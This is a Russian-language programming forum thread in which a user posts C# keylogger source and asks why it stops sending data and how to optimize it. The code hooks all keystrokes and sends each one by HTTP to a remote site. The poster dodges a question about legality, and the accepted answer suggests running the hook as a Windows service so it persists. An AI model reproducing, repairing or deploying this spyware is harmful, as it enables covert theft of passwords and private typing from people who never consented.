Форум программистов, компьютерный форум, киберфорум
Наши страницы
C# .NET
Войти
Регистрация
Восстановить пароль
 
Hopeco
16 / 16 / 8
Регистрация: 18.03.2014
Сообщений: 268
#1

Исправить и оптимизировать код - C#/.NET 4.x

15.09.2015, 12:53. Просмотров 260. Ответов 8
Метки нет (Все метки)

Код:
C#
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Net;
using System.Runtime.InteropServices;
using System.Threading;
using System.Windows.Forms;
 
namespace G8Hidden
{
    class Program
    {
        private const int WH_KEYBOARD_LL = 13;
        private const int WM_KEYDOWN = 0x0100;
        private static LowLevelKeyboardProc _proc = HookCallback;
        private static IntPtr _hookID = IntPtr.Zero;
        private static Queue<string> queue;
        private static Thread theradHelper;
 
        static void Main(string[] args)
        {
            queue = new Queue<string>();
            theradHelper = new Thread(Helper);
            theradHelper.IsBackground = false;
            theradHelper.Start();
 
            _hookID = SetHook(_proc);
            Application.Run();
            UnhookWindowsHookEx(_hookID);
        }
 
        private static IntPtr SetHook(LowLevelKeyboardProc proc)
        {
            using (Process curProcess = Process.GetCurrentProcess())
            using (ProcessModule curModule = curProcess.MainModule)
            {
                return SetWindowsHookEx(WH_KEYBOARD_LL, proc, GetModuleHandle(curModule.ModuleName), 0);
            }
        }
 
        private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);
 
        private static void Helper()
        {
            while (true)
                if (queue.Count > 0)
                    Console.WriteLine(((HttpWebResponse)((HttpWebRequest)WebRequest.Create("свой сайт" + queue.Dequeue())).GetResponse()).StatusCode);
        }
 
        private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
        {
            if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
                queue.Enqueue(((Keys)Marshal.ReadInt32(lParam)).ToString());
            return CallNextHookEx(_hookID, nCode, wParam, lParam);
        }
 
        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
 
        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        [return: MarshalAs(UnmanagedType.Bool)]
        private static extern bool UnhookWindowsHookEx(IntPtr hhk);
 
        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);
 
        [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr GetModuleHandle(string lpModuleName);
    }
}
Проблема такова после двух запросов поток theradHelper падает или нет?! Но могу сказать точно больше не чего не отправляется на сервер! Где я тут накосячил? Ну и собственно помогите с оптимизацией данного кода.
0
Лучшие ответы (1)
Надоела реклама? Зарегистрируйтесь и она исчезнет полностью.
Similar
Эксперт
41792 / 34177 / 6122
Регистрация: 12.04.2006
Сообщений: 57,940
15.09.2015, 12:53
Я подобрал для вас темы с готовыми решениями и ответами на вопрос .NET 4.x Исправить и оптимизировать код (C#):

Подключение к модему: оптимизировать код
Вопрос, наверное, по ООП. Предполагается, что к 4 ком-портам подключены 4...

Выкладываю часть кода моей программы, хочу чтобы вы мне указали где что лучше здесь оптимизировать исправить
Здравствуйте, я недавно в программировании на C# поэтому тонкостей не знаю,...

Оптимизировать код, обрабатывающий файлы с большим количеством слов
Задача такова, есть словарь на 100+ тысяч слов, нужно проверить каждое слово в...

Как оптимизировать код, где используется много методов .Contains?
Здравствуйте! Есть задача поиска всех url'ов на каком то сайте и найти в них...

Код не отображает картинку с камеры. Исправить код
using System; using System.Collections.Generic; using System.ComponentModel;...

Парсинг страниц, исправить код
Привет всем, Подскажите в чем ошибка почему не удается получить данные...

8
Woldemar89
TheGreatCornholio
1155 / 643 / 269
Регистрация: 30.07.2015
Сообщений: 2,245
Завершенные тесты: 1
15.09.2015, 14:38 #2
Цитата Сообщение от Hopeco Посмотреть сообщение
static void Main(string[] args)
Цитата Сообщение от Hopeco Посмотреть сообщение
using System.Windows.Forms;
Цитата Сообщение от Hopeco Посмотреть сообщение
Application.Run();
Что за адовая архитектура?
Поясни, что происходит вообще?

C#
1
2
3
4
5
6
7
8
9
10
11
12
static void Main(string[] args)
        {
            queue = new Queue<string>();
            theradHelper = new Thread(Helper);
            theradHelper.IsBackground = false;
            theradHelper.Start();
 
            _hookID = SetHook(_proc);
            Application.Run(); //тут бесконечный рекурсивный вызов чтоли?
            UnhookWindowsHookEx(_hookID);
           //может тут прога завершается? и остается висячий поток?
        }
Бред какой-то или у меня ум неизвращенный, чтобы это чудо программирования понять.

Задача то какая этого кода?
0
Hopeco
16 / 16 / 8
Регистрация: 18.03.2014
Сообщений: 268
15.09.2015, 14:46  [ТС] #3
Цитата Сообщение от Woldemar89 Посмотреть сообщение
Application.Run(); //тут бесконечный рекурсивный вызов чтоли?
Тут обработка сообщений( для хука на клавиатуру )
Цитата Сообщение от Woldemar89 Посмотреть сообщение
Задача то какая этого кода?
ловим нажатие делаем http запрос на сайт только вот если сразу отправлять
Цитата Сообщение от Hopeco Посмотреть сообщение
queue.Enqueue(((Keys)Marshal.ReadInt32(lParam)).ToString());
заместо этого то будет лагать пока не отправится кнопка поэтому я создаю очередь в которую складываются все нажатые кнопки, а в другом потоке
Цитата Сообщение от Woldemar89 Посмотреть сообщение
theradHelper
они должны по одной отсылаться
Надеюсь понятно
Цитата Сообщение от Woldemar89 Посмотреть сообщение
using System.Windows.Forms;
без этого нету
Цитата Сообщение от Woldemar89 Посмотреть сообщение
Application.Run();
этого
0
Woldemar89
TheGreatCornholio
1155 / 643 / 269
Регистрация: 30.07.2015
Сообщений: 2,245
Завершенные тесты: 1
15.09.2015, 14:52 #4
Цитата Сообщение от Hopeco Посмотреть сообщение
Тут обработка сообщений( для хука на клавиатуру )
Ты уверен?
Может Application.DoEvents() - это обработка сообщений?

Цитата Сообщение от Hopeco Посмотреть сообщение
Надеюсь понятно
Нет
Извини, конечно, но дальше даже разбираться не хочу.
Пойду мозги оттирать со стены
Давненько я такого не видел, без бутылки не разберешься...
0
Psilon
Master of Orion
Эксперт .NET
5981 / 4834 / 901
Регистрация: 10.07.2011
Сообщений: 14,439
Записей в блоге: 5
Завершенные тесты: 4
15.09.2015, 15:32 #5
Hopeco, ну тут много проблем, начиная от притаскивания винформ и заканчивая тем, что без STAThread всё будет сломано, даже если все остальное правильно.
0
Hopeco
16 / 16 / 8
Регистрация: 18.03.2014
Сообщений: 268
15.09.2015, 15:37  [ТС] #6
Цитата Сообщение от Woldemar89 Посмотреть сообщение
Нет
ждём нажатие клавиши -> добавляем в очередь -> в потоке theradHelper отправляем на сайт по одному из очереди
Цитата Сообщение от Woldemar89 Посмотреть сообщение
Ты уверен?
Брал код на каком-то англо язычном сайте

Добавлено через 2 минуты
Цитата Сообщение от Psilon Посмотреть сообщение
притаскивания винформ
Тут полностью согласен, но как сделать иначе не знаю. поэтому сюда и обратился
Цитата Сообщение от Psilon Посмотреть сообщение
STAThread
я так понимаю надо на поток theradHelper
0
Woldemar89
TheGreatCornholio
1155 / 643 / 269
Регистрация: 30.07.2015
Сообщений: 2,245
Завершенные тесты: 1
15.09.2015, 15:48 #7
Цитата Сообщение от Hopeco Посмотреть сообщение
ждём нажатие клавиши -> добавляем в очередь -> в потоке theradHelper отправляем на сайт по одному из очереди
Цитата Сообщение от Hopeco Посмотреть сообщение
Брал код на каком-то англо язычном сайте
Сляпай лучше сам, там хоть немного будешь понимать что происходит.
Хуки забери из кода в свой и все.

Добавлено через 48 секунд
Цитата Сообщение от Hopeco Посмотреть сообщение
я так понимаю надо на поток theradHelper
В нормальном винформ приложении Program.cs открой.

Добавлено через 5 минут
Цитата Сообщение от Hopeco Посмотреть сообщение
WebRequest.Create("свой сайт" + queue.Dequeue()))
А вообще, перехваченные клавишы, на "свой сайт" отправлять законно?
0
Hopeco
16 / 16 / 8
Регистрация: 18.03.2014
Сообщений: 268
15.09.2015, 15:52  [ТС] #8
Woldemar89, как знать , как знать если серьёзно, то пишу для себя.
0
Psilon
Master of Orion
Эксперт .NET
5981 / 4834 / 901
Регистрация: 10.07.2011
Сообщений: 14,439
Записей в блоге: 5
Завершенные тесты: 4
15.09.2015, 16:26 #9
Лучший ответ Сообщение было отмечено Hopeco как решение

Решение

Hopeco, ладно, скажу иначе. Чтобы нормально ключаться и выключаться достаточно создать винсервис, всё остальное сделает винда сама. Нужно только на Start вешать хук и на Stop его отключать. Для его работоспособности достаточно первых двух пунктов, логгирование и прочее если есть желание. Все делается без единой строчки кода тупо мышкой в дизайнере минуты за 3.
1
15.09.2015, 16:26
MoreAnswers
Эксперт
37091 / 29110 / 5898
Регистрация: 17.06.2006
Сообщений: 43,301
15.09.2015, 16:26
Привет! Вот еще темы с решениями:

Исправить код, сериализующий JSON
Честно не понимаю в чем проблема в этом примере using System; using...

Прием почты, исправить код
Нашел пример приема почты по протоколоу Pop3, но программа не работает...

Побайтовые операции с файлами, исправить код
Помогите пожалуйста исправить код. Заранее благодарен. using System;...

Создание http client. Исправить код
Здравствуйте! Пытаюсь запустить код с msdn, но на экран ничего не выводится....


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
9
Ответ Создать тему
Опции темы

КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin® Version 3.8.9
Copyright ©2000 - 2018, vBulletin Solutions, Inc.
Рейтинг@Mail.ru